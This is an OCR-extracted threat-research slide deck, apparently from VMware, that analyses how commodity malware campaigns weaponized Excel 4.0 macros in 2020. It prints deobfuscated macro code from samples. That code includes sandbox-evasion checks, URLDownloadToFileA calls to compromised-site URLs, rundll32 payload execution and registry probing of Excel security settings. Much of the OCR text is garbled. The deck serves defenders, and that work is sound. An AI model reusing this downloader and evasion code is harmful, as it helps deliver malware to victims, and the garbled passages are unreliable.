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Evolution of Excel 4.0 Macro Weaponization
By commodity malware

New trend in delivery malware

Malware that is used to download or drop a more persistent payload

Primarily being delivered as email attachment

Typically via XLS documents, but possible with certain OOXML types X
Observed deploying commodity malware

Trickbot, Danabot, Gozi, and ZLoader
We have been tracking this threat since the beginning of this year
Internally, we refer to this technique as XL4

They are also known as XLM macros
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What are XL4 Macros?

Legacy functionality easy to subvert

25+ year old feature of Excel £ =SUM(D1:03)
Predecessor to/replaced by VBA macros 5 E
. . 1 6
Large set of functions that can be used to interact 5 standard Function
with both an excel workbook and the operating 3 andard Functl
system (WInAPI access) |
B =ALERT("HeI{|o, World!")
Robust, and easy to understand and create ; Microsoft Excel X
Resemble today’s Excel formulas/functions : O v
6 [k ] XL4 Examples
7

Commonly used for benign purposes by older

=EXEC("powershell.exe -noexit write-host 'Hello, World!™)

E¥ Windows PowerShell

workbooks that have not migrated to VBA

¥ =N

u

Legitimate business use for calculations 6
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What are XL4 Macros?

Standard vs XL4 macros

Standard Formulas/Functions XL4 Functions

Limited to workbook-related Robust functionality that allows access
calculations/computations (math/stats) to file system, reqgistry, WInAPI, etc...
Interaction with components outside of Replaced by VBA macros, but are still
the workbook NOT possible functional today
Enabled by default on all worksheets Must reside on an Excel 4.0-enabled

Mmacro sheet
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What are XL4 Macros?
Not difficult at all...

Home Insert Page Layout Formulas Data Review View Help Q Tell me what you want to do ,(l Share Standard
e X - = —== - X
cux Calibri . IH |A a - & Wrap Text General . ' i s € X |m 2 AutoSum % Y p
Copy ~ * o ~ il -
Paste B J U- - h-A- P “+ Merge & Center - $ -9% 9 | 539 Conditional Formatas Cell Insert Delete Format 2 Sort & Find &
v ¥ Format Painter Formatting - Table = Styles - = Y # Clear - Filter - Select -
Clipboard 1 Font [ Alignment . Number [ Styles Cells Editing A
D1 T fx
A B C D E F P Q R S =
1 General  Spreadsheet Solutions
2 =
5 o a & B e . .
Worksheet  Chart LEEES]  MS Excel  Formula
s B <5e Right click, run
5 BEDTSN Insert  Page Layout  Formulas ? eee
P o o o
Get more  PivotTable Welcome to % Cut
7{ out of Piv... tutorial.dtx  Excel.xitx g
Copy
8
9 / -
10 Clipboard ] Font Alignment Number Editing
1
Al v fx calc.exe")
12
13 A C D E F G H | Ji
14 1 |=EXEC("calc.exe")
16 Templates on Office.com 3
Macro name:
17 4
18 5 Al o R |
19 2
20 7 Step Into
21 8 Edit
22 9
23 10 eate
Sheet1 o
12
Ly 13
14 Options .
s Click
1 ick...
6 Macros in: | All Open Workbooks v
17
Description
. . 3 18
19
Right click, insert...
20
21
22 Cancel
23
Macro1 Sheetl * < »
Point

mwareo Confidential | ©2020 VMware, Inc.




X I_4 M acro ESS@ ntla lS =ALERT("This will execute first!") <--- this is the Auto_Open cell
Before diving deeper... =ALERT("This will execute second!")

=ALERT("This will execute third!")

=GOTO(RC|1 >|=ALERT("This will execute fourth!")
Control flow =RETURN()

In an XL4 macro the entry point is the cell containing the Auto Open label

Once the Auto_Open cell is executed, control flow is passed to the cell directly below within
the same column; this pattern repeats until interrupted

This sequential line-by-line execution can be interrupted by transferring control to another
cell via the functions GOTO, RUN, or a user-defined function

Data flow =FORMULA("This string will be written to the cell to the right", RC[1]) [This string will be written to the cell to the right

Data is often moved around macro sheets via the FORMULA and FORMULA.FILL functions

These functions require a value to be written, and a reference of the destination cell
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The Trend

What did we see?

We analyzed and clustered thousands of these samples

We found that these samples surfaced in waves

« Each of these waves contains distinct characteristics
« Each wave builds upon the last wave

« Each new wave is more sophisticated than the previous

Malicious XL4 submissions — Dec 2019 / May 2020

Spike(s) starting in Feb

\ - ) i |
r- I [ | Il :ﬁ '—|— | ‘ ]— |
— _‘. DR [ — r~_"l‘."‘.‘_,.:r l’J ﬂ i I ‘,_. “ ‘ Ill“ r* '_“_:—l ‘\j el ‘.‘I.[ ‘ ‘-’ ‘..,-___. e N I ‘!‘_‘
20191130 2019-12.31 2020-01-31 2020-02-29 2020-03-31 2020-04-30
Malicious XL4 submissions — May 2020 / Aug 2020
Drop in activity
=l ,w‘ B ey —— — — =1 == " | L ‘ S o i == — —
2020-05-30 2020-06-06 2020-06-13 2020-06-20 2020-06-27 2020-07-04 020 2020-07 2 2020-08-01 2020-08-08 0-0

mwa reo Confidential | ©2020 VMware, Inc.




Timeline of TTPsS

Detailing the waves into 15 clusters

1 2 3 4 5 6 7 8 9 10 1 12 13 14 15

FEB 26

Cells are scattered
Code is hidden via
white font

FEB 27

VeryHidden macro sheet
Evasion: workspace h/w

FEB 14

No obfuscation

Downloads payload via DCONN
Evasion: mouse & audio

mwa reo Confidential

MAR 30
LoLBins
reg.exe
rundll32.exe

MAR 10

CHAR & concatenations
WinAPI Usage
Download via
URLDownloadToFile

MAR 6
Downloads VBS
FORMULA to move payload

| ©2020 VMware, Inc.

APR 25

Dozens of
macro sheets

APR 14

Operations nested in
CHAR arguments
Evasion: font size and
row height

APR 10
Day-of obfuscation

MAY 19

download

MAY 11

single step mode

MAY 4

Hidden names
De-obfuscation routine
- SET.VALUE

- GOTO

- RUN

MID for obfuscation
FILES to check

Evasion: windows
size, minimized, and

JUN 25

Register
functions
using custom
names
Complex
string
obfuscation
routine

JUN 16

JUL1

PowerShell
VeryHidden flag

Formula.Fill with relative

references

Evasion: execution via

explorer.exe, custom user agent

10



The Clusters
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G H | J K L M N (0] P Q

Cluster 1: Init

1] Office

Phishing Image

Hidden macro sheet

Document created using the application not related
to Microsoft Office.

No obfuscated code

For viewing/editing, perform the following steps:

Sandbox evasion routine:
User interaction
Mouse capability
Audio capability

Click Enable editing button from the yellow bar above

Once you have enabled editing, please click Enable content
button from the yellow bar above

i lninininidipisivalalalalalalalalala |
B NANBERBN IS T DN B RN DSP®RND O EWN -

A B C
=[F{ALERT( We found a problem with some content. Do you wa=IF(ISNUMBER(SEARCH("LOS" Sheet11Y103)), =FORMULA FILL(Sheet11Y100
=|F(GET. WORKSPACE(19),,CLOSE(TRUE)) Mouse =RETURN() =FORMULA FILL(Sheet1rY101
= Audio =IF(ISNUMBER(SEARCH("LOS",Sheet11Y103)), =FORMULA FILL(Sheet1!Y102
=|F(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))), =RETURN() =FORMULA FILL({Sheet1rY103
=RETURN()

3
4
5
(75 Microsoft Excel %
8
9

Evasion Routine

o We found a problem with some content. Do you want to try to recover as much as we can?

OK | Cancel
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Cluster 1: cont.

Additional payload is downloaded via a Web

Query Data connection

0876

vmware

131 DCONN
00000000:
00000008:
00000010:
00000018:
00000020:
00000028:
00000030
00000038:
00000040:
00000048:
00000050:
00000058:
00000060:
00000068:
00000070:
00000078:
00000080:

76 08 00 00 04
00 00 00 00 04
04 04 00 00 00
00 00 00 00 00

H DCONN
g Record

1F 00 00 00
74 74 70 73
65 72 79 73
78 79 TA 2F
62 73 64 76
00 00 00 00
00 00 00 OD
65 65 74 31
62 34 67

Confidential | ©2020 VMware, Inc.
L

Data

Connection

00
00
01
00
0A
6F
6E
00
00
2F
6F
56
37
00
00
66

C2
23
00
(0]0)
00
6E
(0]0)
01
(0]0)
2F
6C
6B
(0]0)
01
53
67

ttps://m
erystol.
xyz/DVk]
bsdv37..

eetl!fgs
bdg

Connection Properties ? X
Connection pame: | Connection
Description:
Usage
I Connection type: Web Query |
Connection file: Browse...
Always use connection file
Connection string: | https: //merystol. xyz/DVkjbsdv37
Name Manager ? X
New... Edit... Delete Filter v
Name Value Refers To Scope Comment
=) Auto_Open 0 Workbook

=KHDBVkh2!$AS1
=KHDBVkh?2! s(
=Sheet1!$Y$100:$Y$103
=KHDBVkh2!$B$3
=KHDBVkh2!$BS1

=) sdhbjfa2 TRUE

\Workbook
Sheet1
Workbook
Workbook

\

Download is written to Y100:Y103




Cluster 2: Whitespace

Cluster 2 adds obfuscation:
Payload is scattered around sheet
Payload is hidden by using white font on white background

Font was originally white

4% | AF(GET WORKSPACE(19), CLOSE(TRUE))
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Cluster 3: SneakySheet

17 Insert...
|

Extra protection s G petee

Rename
20

Hides macro sheet with VeryHidden flag 21

22

instead of Hidden | VeryHidden

24
Hide ao

Move or Copy...

Extends evasion routine -
, , . . = ot VERYHIDDEN mcnnsnm
Checks display size/dimensions of workspace P
Height/width

Another sandbox evasion attempt
New evasion trick:

Original evasion tricks Display Size Check
Height: (13)
IF(GET.WORKSPACE(42)..CLOSE(T BUEM .
2 =GET.WORKSPACE(13) Width: (14)
3 =GET.WORKSPACE(14)
4 =IF(A2<770, CLOSE(FALSE),)
5 =|F(A3<381, CLOSE(FALSE),)
IF(GET.WORKSPACE(19),,CLOSE(TRUE))|
Vrr'WareO Confidential | ©2020 VMware, Inc. 15



Cluster 4: Larva

Dynamic code:
Code is moved around via FORMULA instead of
FORMULA.FILL (as in previous samples)
Execution:
VBS script is downloaded/executed

D

| 1 |=IF(GET. WORKSPACE(42), CLOSE(TRUE))
2 =GET.WORKSPACE(13)

3 =GET.WORKSPACE(14)

4 |=IF(A2<770, CLOSE(FALSE),)

5 =IF(A3<381, CLOSE(FALSE),)

6 =IF(GET.WORKSPACE(19)..CLOSE(TRUE))
7
8
9

=GET.WORKSPACE(26)
="C:\Users\"&A7&" \AppData\Local\Temp\CVR"&RANDBETWEEN(1000,9999)&" tmp.cvr"
="C:\Users\"&A7&"AppData\Local\Temp\wct"&RANDBETWEEN(100,999)&" vbs"

0 ="C:\Users\"&A7&"\AppData\Local\Temp\wct"&RANDBETWEEN(1000.9999)&" vbs"

y

=IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))), ON_TIME(NOW()+"00:00:02", "adfv243b"), CLOSE(TRUE))
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=FORMULA(Sheet1!X60,bzesimzE8T!C1)
=FORMULA(Sheet1!X61,bzesimzE8T!C2)
=FORMULA(Sheet1!X62 bzesjmzEST!C3)
=FORMULA(Sheet1!X63,bzesimzE8T!C4)
=FORMULA(Sheet1!X64 bzesjmzEST!C5)
=FORMULA(Sheet1!X65,bzesimzE8T!CH)
=FORMULA(Sheet1!X66 bzesjmzE8T!C7)
=FORMULA(Sheet1!X67 bzesjmzE8T!C8)
=FORMULA(Sheet1!X68,bzesimzE8T!C9)
=FORMULA(Sheet1!X69,bzesjmzE8T!C10)
=FORMULA(Sheet1!X70,bzesimzE8T!C11)
=FORMULA(Sheet1!X71 bzesimzE8T!C12)
,bzesjmzE8T!C13)
FORMULA |bzesimzesTic14)
,bzesimzE8T!IC15)
-FORMULA(Sheet1 lX75 ,bzesjmzE8T!C16)
=FORMULA(Sheet1!X76 bzesimzE8T!C17)
=FORMULA(Sheet1!X77 bzesimzE8T!C18)
=FORMULA(Sheet1!X78,bzesimzE8T!C19)
=FORMULA(Sheet1!X79 bzesjmzE8T!C20)
=FORMULA(Sheet1!X80,bzesjmzE8T!C21)
=FORMULA(Sheet1!X81 bzesimzE8T!C22)
=FORMULA(Sheet1!X82 bzesjmzE8T!C23)
=FORMULA(Sheet1!X83,bzesjmzE8T!C24)
=FORMULA(Sheet1!X84 bzesimzE8T!C25)
=FORMULA(Sheet1!X85 bzesimzE8T!C26)

=GOTO(C1)

=RETURN()




Cluster 5: Obfuscation

" 4 A ‘ B € | D E_l_E | 6 o I J K
1 =CHAR(61)&CHAR(73) =CHAR(61) =CHAR(61) =CHAR(61)=CHAR(61) =CHAR(61) =CHAR(61) =CHAR(61) =CHAR(61)& =CHAR(61)=FORMULA(A1
2 |=CHAR(70) =CHAR(73) =CHAR(73) =CHAR(73) =CHAR(73) =CHAR(67) =CHAR(73)=CHAR(65) =CHAR(65) =CHAR(76)=FORMULA(B1
3 =CHAR(40) =CHAR(70) =CHAR(70) =CHAR(70) =CHAR(70) =CHAR(65) =CHAR(70) =CHAR(76) =CHAR(76) =CHAR(79)=FORMULA(C1
4 =CHAR(T1) =CHAR(40)&CHAR(71) =CHAR(40)&CHAR(71) =CHAR(40)=CHAR(40)=CHAR(76) =CHAR(82)=CHAR(69) =CHAR(76) =CHAR(83)=FORMULA(D1
. . 5 =CHAR(69) =CHAR(69) =CHAR(69) =CHAR(71) =CHAR(73) =CHAR(76) =CHAR(91) =CHAR(82) =CHAR(40) =CHAR(§9)=FORMULA(ET
Obfu Scatlon : 6 |=CHAR(34) =CHAR(84) =CHAR(84) =CHAR(84) =CHAR(78) =CHAR(34) =CHAR(45) =CHAR(84)&C =CHAR(34) =CHAR(40)=FORMULA(F1
7 =CHAR(46) =CHAR(46) =CHAR(46) =CHAR(46) =CHAR(85) =CHAR(117 =CHAR(49) =CHAR(34) =CHAR(83) =CHAR(65)=FORMULA(G1
. 8 =CHAR(87) =CHAR(87) =CHAR(87) =CHAR(87) =CHAR(77) =CHAR(114=CHAR(93) =CHAR(84) =CHAR(104) =CHAR(76) =FORMULA(H1
Heavy usage Of CH AF\) fu nCt|On 9 =CHAR(79)&CHAR(82) =CHAR(79) =CHAR(79) =CHAR(79) =CHAR(66) =CHAR(10€ =CHAR(60) =CHAR(104) =CHAR(101): =CHAR(83)=FORMULA(114
10 =CHAR(75) =CHAR(82) =CHAR(82) =CHAR(82) =CHAR(69) =CHAR(10¢ =CHAR(48) =CHAR(101) =CHAR(108) =CHAR(69) =FORMULA(1
T | t d . | t A S C” 11 =CHAR(83) =CHAR(75) =CHAR(75)&CHAR(83) =CHAR(75)=CHAR(82) =CHAR(111=CHAR{44)=CHAR(32) =CHAR(51) =CHAR(41)=WORKBOOK
. 12 =CHAR(30) =CHAR(83) =CHAR(80) =CHAR(83) =CHAR(40) =CHAR(11C =CHAR(67) =CHAR(119) =CHAR(50) =GOTO(L1)
ransiates aecimal to . 13 =CHAR(65) =CHAR(80) =CHAR(65) =CHAR({80) =CHAR(69) =CHAR(34) =CHAR(65) =CHAR(111) =CHAR(34)
o 14 =CHAR(67) =CHAR(65) =CHAR(67) =CHAR(67) =CHAR(65) =CHAR(44) =CHAR(76) =CHAR{114) =CHAR(44)
CH AF\)(76) = ‘L 15 =CHAR(69) =CHAR(67)&CHAR(69) =CHAR(69) 0)=CHAR(107) =CHAR(34)
16 =CHAR(40) =CHAR(40) =CHAR{40) J=CHAR(38) =CHAR(83)
B | d t | d 17 =CHAR(49) =CHAR(49) =CHAR(49)&CHA A” the CHARS 1:=CHAR(111)& =CHAR(104)
18 =CHAR(51)&CHAR(41) =CHAR(52) =CHAR(41) 1:=CHAR(107) =CHAR(101).
Ul rue pay Oad one 19 =CHAR(60) =CHAR(41) =CHAR(44) =CHAR(41) =CHAR(34) =CHAR(111=CHAR(10{=CHAR(32) =CHAR(108)
. 20 =CHAR(56) =CHAR(60) =CHAR(44) =CHAR(44) =CHAR(10! =CHAR(11S =CHAR(10{=CHAR(99) =CHAR(69)
Cha racter at a time 21|=CHAR(55) =CHAR(51) =CHAR(67) =CHAR(44) =CHAR(11(=CHAR(11C =CHAR(11"=CHAR(97) =CHAR(120)
. 22 =CHAR(48) =CHAR(56) =CHAR(76) =CHAR(76)= CHAR(10( =CHAR(10§ =CHAR(11(=CHAR(110) =CHAR(101)
23 =CHAR(44) =CHAR(49)&CHAR(44) =CHAR(79) =CHAR(79) =CHAR(11- =CHAR(111=CHAR(34) =CHAR(110) =CHAR(99)
(Concatenatlon) 24 =CHAR(32) =CHAR(32) =CHAR(83)&CHAR(69) =CHAR(83)=CHAR(11¢=CHAR(10C =CHAR(34)=CHAR(111) =CHAR(117)
. 25 | =CHAR(67) =CHAR(67) =CHAR(40) =CHAR(69) =CHAR(11! =CHAR(84) =CHAR(85) =CHAR(116)& =CHAR(116)
26 =CHAR(T6) =CHAR(76) =CHAR(84) =CHAR(40) =CHAR(34) =CHAR(111=CHAR(82) =CHAR(98) =CHAR(101)
Example belOW (In Python) 27 =CHAR(79)&CHAR(83) =CHAR(79) =CHAR(82) =CHAR(84) =CHAR(44) =CHAR(70) =CHAR(76)=CHAR(101) =CHAR(65)
28 =CHAR(69) =CHAR(83) =CHAR(85) =CHAR(85) =CHAR(71) =CHAR{10¢ =CHAR(68) =CHAR(32) =CHAR(34)
29 =CHAR(40) =CHAR(69) =CHAR(69) =CHAR(69) =CHAR(84) =CHAR(10€ =CHAR(11°=CHAR(111) =CHAR(44)
30 =CHAR(70) =CHAR(40) =CHAR(41) =CHAR{41) =CHAR(46) =CHAR(101=CHAR(11¢=CHAR(112) =CHAR(34)
31 =CHAR(65) =CHAR(70) =CHAR(41) =CHAR(41) =CHAR(87) =CHAR(65) =CHAR(11(=CHAR(101) =CHAR(74)&
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Cluster 5: cont.

Execution:
First large cluster leveraging the WInAPI (URLDownloadToFile)
CALL function is used for invoking WinAPI function

=IF(GET.WORKSPACE(19),,CLOSE(TRUE))
'=GET.WORKSPACE(13)
' =GET.WORKSPACE(14)
=IF(B2<770, CLOSE(FALSE),)
=IF(B3<381, CLOSE(FALSE),)
=IF(GET.WORKSPACE(42),,CLOSE(TRUE))
' =GET.WORKSPACE(26)
="C:\Users\"&B7&"\AppData\Local\Temp\"&CHAR(RANDBETWEEN(97.122))&CHAR(RANDBETWEEN(97.122)) &RANDBETWEEN(10.9999)&" exe”
=CALL]"urlmon".' URLDownloadToFileA"]'JJCCJJ",0,"http://cnbjobs.com/fa-content/uploads/2020/03/guide/"&RANDBETWEEN(100000,999999)&".png",B8,0,0) 1
FIF(B9<0, CALL("urlmon”,"URLDownloadToFileA","JJCCJJ",0,"http://devweb2019 fr/wp-content/uploads/2020/03/guide/"&RANDBETWEEN(100000,999999)&".png",B8.0,0), GOTO(B14
'FIF(B10<0, CALL("urimon”,"URLDownloadToFileA","JJCCJJ",0."http://auto-mento.hu/wp-content/uploads/guide/"&RANDBETWEEN(100000.999999)&".png",B8,0,0), GOTO(B14))
'FIF(B11<0, CALL("urlmon”,"URLDownloadToFileA","JJCCJJ",0,"http://minokala.ir/wp-content/uploads/2020/03/guide/ &RANDBETWEEN(100000,999999)&" .png",B8,0,0), GOTO(B14))
=TF(B12<0, CLOSE(FALSE),)
=ALERT("The workbook can't be opened or repaired by Microsoft Excel because it is corrupt.”,2)
=EXEC(BS)
=CLOSE(FALSE)
=RETURN()

S WoNO O A WN

—
—-—

=y
N

b | s | il | ot | el
~N o e W
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Cluster 6: Pupa

Evasion:

Check security
settings for Excel

Execution (LoLBins):

Reg.exe
Gather registry
info
Rundll32.exe
Invoke 29 stage
payload

vmware

Confidential | ©2020 VMwar

=IF(GET.WORKSPACE(13)<770,CLOSE(FALSE),)
=IF(GET.WORKSPACE(14)<390,CLOSE(FALSE),)
=IF(GET.WORKSPACE(19),,CLOSE(TRUE))
=IF(GET.WORKSPACE(42),,CLOSE(TRUE))

Using reg to create registry
key file

1)), CLOSE(TRUE

—

.="C:\Users\Pub|ic\"&RANDBETWEEN(1,9999)&".reg"

="EXPORT HKCU\Software\Microsoft\Office\"&GET.WORKSPACE(2)&"\Excel\Security "&B85&" /y"

nn
’

"Shell32","ShellExecuteA","JJCCCJI",0,"open
=WAIT(NOW()+"00:00:03")

=FOPEN(BS5)

C:\Windows\system32\reg.exe",886,0,5

=FPOS(B89,215)
=FREAD(B89,255)
=FCLOSE(B89)

Reading registry settings from
key file

=FILE.DELETE(BSS)
=IF(ISNUMBER(SEARCH("0001",891)),CLOSE(FALSE),)

="C:\Users\Public\CVR"&RANDBETWEEN(1000,9999)&".tmp.cvr"
="http://nevefe.com/wp-content/themes/calliope/wp-front.php"

=CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,B96,B95,0,0)

="http://lakeviewbinhduong.com.vn/wp-content/themes/calliope/wp-front.php"

=ERROR(FALSE)
=FOPEN(BY5,2)

Registering DLL

=IF(ISERROR(B100),,GOTO(B103))
=CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,897,B895,0,0)

=ALERT("The workbook cannot be opened or repaired by Micrgsoft Excel because it's corrupt.”,2)

nn
r

=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open

C:\Windows\system32\rundli32.exe",B95&",DlIRegisterServer",0,5)

=CLOSE(FALSE)




Cluster 7: “day-of”

Write day of month (+ 7) to cell

Evasion: / X33

Must be executed on £ £
fic d : " =FORMULA(DAY(NOW())+7,X33)
specific day of mont —FORMULA(CHAR(A1-X33) &CHAR(A2-X33) &CHAR(A3-X33) &CHAR(A4-X33) &CHAR(AS5-X33) &CHAR(A6-X33) &CHAR(A7-X33) &CHAR(A}
; , =FORMULA(CHAR(B1-X33)&.CHAR(B2-X33) &CHARB3-X33) &CHARB4-X33] BCHARIBS-X33] BCHARB6-X33) &CHAR(B7-X33) &.CHAR(B8
Payo month.'s used A |5 |ECHAR(CZ X33 BCHARICI X33 RCHAR(SG X33 B CHAR(CS-X33]BCHAR|C6- X33 RCHAR(C7- X33 RCHAR(CS:
in deobfuscation e Jg JSCHAR(D2-X33)&.CHAR(D3-X33)&.CHAR(DAN33)&.CHAR(DS-X33) & CHAR(D6-X33) & CHAR(D7-X33) &CHAR(D}
routine o0 o &CHAR(E2-X33) &CHAR(E3- X33)&CHAR(E4 X3INKCHAR(ES-X33) &CHAR(E6- X33)&CHAR(E7X33)&CHAR(E8X'
- oy [X33)8CHAR(F3XAIRCHARIEL X33 RCHARIES. XN)RCHARIEGX3URCHARIET Y3URCHARF8-X33)SCHAR
Example in 257 |s7  [PRHARY Deobfuscate payload through rotating :C”A:G: X3;;zg”‘
Python below el hard-coded integers (by -17 Siosb il
Yy s - ecar(2xa)| O gers (by -17) X33)&CHAR(18-X33){
N 86 86 |RCHAR(J2-X33)&CHAR(13-X33) &CHAR(IA-X33) RCHAR(I5-X33) RCHAR(I6-X33) RCHARTI7-X33) &CHAR(J8-X33
7 101 101 B CHAR(K2-X33)&CHAR(K3-X33)&CHAR(KA-X33)&CHAR(K5-X33) &CHAR(K6-X33) &CHAR(K7-X33) &CHAR(K8!
8 63 63 &CHAR(L2-X33)&CHAR(L3-X33) &CHAR(L4-X33) &CHAR(LS5-X33) &CHAR(L6-X33) &CHAR(L7-X33) &CHAR(L8-X3
9 104 |104




Cluster 7: Deobfuscation Result(s)

+4=>3<]@10"K10

+4>=A)@I0K10 #]

+4@3/20@10 K10 ##]

+41:=A3[@I10!K1[

+47:323:3B3[@10&K10

+7407A<C;03@0A3/@160lll@I0!K1001:=A304/:A301

+1(JCas alllsS3BE=@9A>/13[ SIIlI/AA20b0J:]Q0ZIBS[M1D@I@/<203BE33<" " b[rQd"[
+IVbbAa(UWOgb]'sQ][eAlQ]\bS\bbVS[SaQOZZW]ASeAIT 1\bAVA]
+VbbAa(URQVcPQ][eArlQ]\bS\bbVS[SaQVWVcOeAIT [\bAVA]
+1/::0Ic’z[\IIc@:2]e\Z]ORB]4WZS/MI881188M@I] K1l@I0!K 100

+74)@10K1*01/::0c Z\IIC@:2]e\Z]JORB]4aWZS/MI881188M@I0 K1(@10"K 10000

+/:3@BlIBVSle] YP]IYIQO\\]bIPSIAS\SRI] I'srOW SRIPgl; WwQ'Ja] ThI3fQSzIPSQOcasIwbllalQ] “cAblll [
+1/::0AvSzZz! MIAVSZZ3fsQcbS/MI8811188MM]AS\M1(JEW\R]ealagabS[! J'c\RZZ! sfSll@I0$K1012ZZ@SUWabS AS dS [
+1:=A304/:A3]
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Cluster 7: Deobfuscation Result(s)

+4=>3<]@I0"K1[
+4>=Al@10K 10 #]
+4@3/20@10 K10 ##] Executed on Incorrect Day
+41:=A3[@I10!K1[
+47:323:3B3[@10&K10
+7407A<C;03@0A3/@160l@10!K10001:=A304/:A3[0

+1(JCas aJllS3BE=@9A>/13[ SIlI/A220b0J:]Q0ZIBS[M1D@I@/<203BE33<""[b[rQd[

+IVbbAa(UWOgb] sQ][eMQ]\bS\bbVS[SaQOZZW]ASeAIT ]\bAVA]
+VbbAa(URQVcPQ][eArlQ]\bS\bbVS[SaQVWVcOeAIT [\bAVA]

+1/::0Ic’z[\IIc@:2]e\Z]ORB]4WZS/MI881188M@I] K1l@I0!K 100

+74]@10k1*01/::0c z\IIC@:2]e\z]ORB]aWZS/I881188M@I10 K 1[@I0"K 10000

+/:3@BlIBVSle] YP]IYIQO\\]bIPSIAS\SRI] I'srOW SRIPgl; WwQ'Ja] ThI3fQSzIPSQOcasIwbllalQ] “cAblll [

+1/::0AvSzZz! MIAVSZZ3fsQcbS/MI8811188MM]AS\M1(JEW\R]ealagabS[! J'c\RZZ! sfSll@I0$K1012ZZ@SUWabS AS dS [
+1:=A304/:A3[
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Cluster 7: Deobfuscation Result(s)

+4=>3<]@10"K1
+4>=Al@10K10 #]
+4@3/20@10 K10 ##] Executed on Incorrect Day
+41:=A3]@I0!K1[
+47:323:3B3[@I0&K1[
+74[7A<C;03@0A3/@16[l@10!'K10001:=A304/:A30D

+1(JCas aJllS3BE=@9A>/13[ SIlI/A220b0J:]Q0ZIBS[M1D@I@/<203BE33<""[b[rQd[
+VbbAa(UWOgb]'SQ][eAlQI\bS\hh AIASeA[T T\bAVA]
+VbbAa(URQVcPQ][eA]Q
+1/:0lcz\IIc@:2]e\Z](
+74)@10K1*[1/::0c Z[)\[
+/:3@BlIBVSle] YP]IYIQC
+1/::0AVSZZ! IAVSZZ3fig
+1:=A304/:A3[

S \bAVA]

L Kil@i0ika0m
1188ll@I0 K1l@I0"K 20000
RPgl;wQ'1a]TbI3fQszIPsQOcasiwblalQ] " cAbll [
11(JEW\R]ealJagabs[! J'c\Rzz! sSfSll@I0SK1[12ZZ@SUWabS' AS dS [
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Cluster 7: Deobfuscation Result(s)

+4=>3<@I0"K10
+4>=Al@I10K1[ #]
+4@3/20@10 K10 ##] Executed on Incorrect Day
+41:=A3[@I0!K1]

+47:323:3B3]@10&K10

+7407A<C;03@0A3/@160@10!K1001:=A304/:A30 =IF(GET.WORKSPACE(13)<770,CLOSE(FALSE),)
+11()Ccas alllS3BE=@9A>/130 $lI/AA20b0J:]Q0ZIBS[A11D @@ /<2( =!F(GET.WORKSPACE(14)<390,CLOSE(FALSE),)

e - | “J\bAVA] =IF(GET.WORKSPACE(42),,CLOSE(TRUE))
'\.; K1l@I0IK ] =IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))),,CLOSE(TRUE))

- ="C:\Users\"&GET.WORKSPACE(26)&"\AppData\Local\Temp\"&RANDBETWEEN(1,9999)&".reg"
1188MI@10 K10@| _weyporT HKCU\SOftware\Microsoft\Office\"&GET. WORKSPACE(2) &"\Excel\Security "&Y6&" /y"
RPgl;WQTa]Thl3 =CALL("Shell32","ShellExecuteA","JJCCCIJ",0,"open","C:\Windows\system32\reg.exe",Y7,0,5)
1(JEW\R]eaJagalf =wAIT(NOW()+"00:00:03")
=FOPEN(Y6)
=FPOS(Y10,215)
=FREAD(Y10,255)
=FCLOSE(Y10)
=FILE.DELETE(Y6)
=IF(ISNUMBER(SEARCH("0001",Y12)),CLOSE(FALSE),)
="C:\Users\"&GET.WORKSPACE(26)&"\AppData\Local\Temp\CVR"&RANDBETWEEN(1000,9999)&".tmp.cvr"
="https://gameaze.com/wp-content/themes/wp_data.php"
="https://friendoffishing.com/wp-content/themes/calliope/template-parts/wp_data.php"
=CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,Y17,Y16,0,0)
=IF(Y19<0,CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,Y18,Y16,0,0),)
=ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.”,2)
Vmwa reo Confidential | ©2020 VMware, Inc. =CALL("Shell32","ShellExecuteA","JJCCCJI",0,"open","C:\Windows\system32\rundll32.exe",Y16&",DIIRegisterServer",0,5)

ey =CLOSE(FALSE) "

+VbbAa(URQVcPQ][eNQ
+1/:0lcz\IIc@:2]e\Z](
+74)@10K1*01/::00c’Z[\0L
+/:3@B{IBVSle] YP]]YIQ(
+1/::MAVSZZ! AVSZZ3fY
+1:=A304/:A3]




Cluster 7: Deobfuscation Result(s)

+4=>3<@I0"K10
+4>=Al@I10K1[ #]
+4@3/20@10 K10 ##] Executed on Incorrect Day
+41:=A3[@I0!K1]

+47:323:3B3]@10&K10

+7407A<C;03@0A3/@160@10!K1001:=A304/:A30 =IF(GET.WORKSPACE(13)<770,CLOSE(FALSE),)
+11()Ccas alllS3BE=@9A>/130 $lI/AA20b0J:]Q0ZIBS[A11D @@ /<2( =!F(GET.WORKSPACE(14)<390,CLOSE(FALSE),)

e - | “J\bAVA] =IF(GET.WORKSPACE(42),,CLOSE(TRUE))
'\.; K1l@I0IK ] =IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))),,CLOSE(TRUE))

- ="C:\Users\"&GET.WORKSPACE(26)&"\AppData\Local\Temp\"&RANDBETWEEN(1,9999)&".reg"
1188MI@10 K10@| _weyporT HKCU\SOftware\Microsoft\Office\"&GET. WORKSPACE(2) &"\Excel\Security "&Y6&" /y"
RPgl;WQTa]Thl3 =CALL("Shell32","ShellExecuteA","JJCCCIJ",0,"open","C:\Windows\system32\reg.exe",Y7,0,5)
1(JEW\R]eaJagalf =wAIT(NOW()+"00:00:03")
=FOPEN(Y6)
=FPOS(Y10,215) Executed on Correct Day
=FREAD(Y10,255)
=FCLOSE(Y10)
=FILE.DELETE(Y6)
=IF(ISNUMBER(SEARCH("0001",Y12)),CLOSE(FALSE),)
="C:\Users\"&GET.WORKSPACE(26)&"\AppData\Local\Temp\CVR"&RANDBETWEEN(1000,9999)&".tmp.cvr"
="https://gameaze.com/wp-content/themes/wp_data.php"
="https://friendoffishing.com/wp-content/themes/calliope/template-parts/wp_data.php"
=CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,Y17,Y16,0,0)
=IF(Y19<0,CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,Y18,Y16,0,0),)
=ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.”,2)

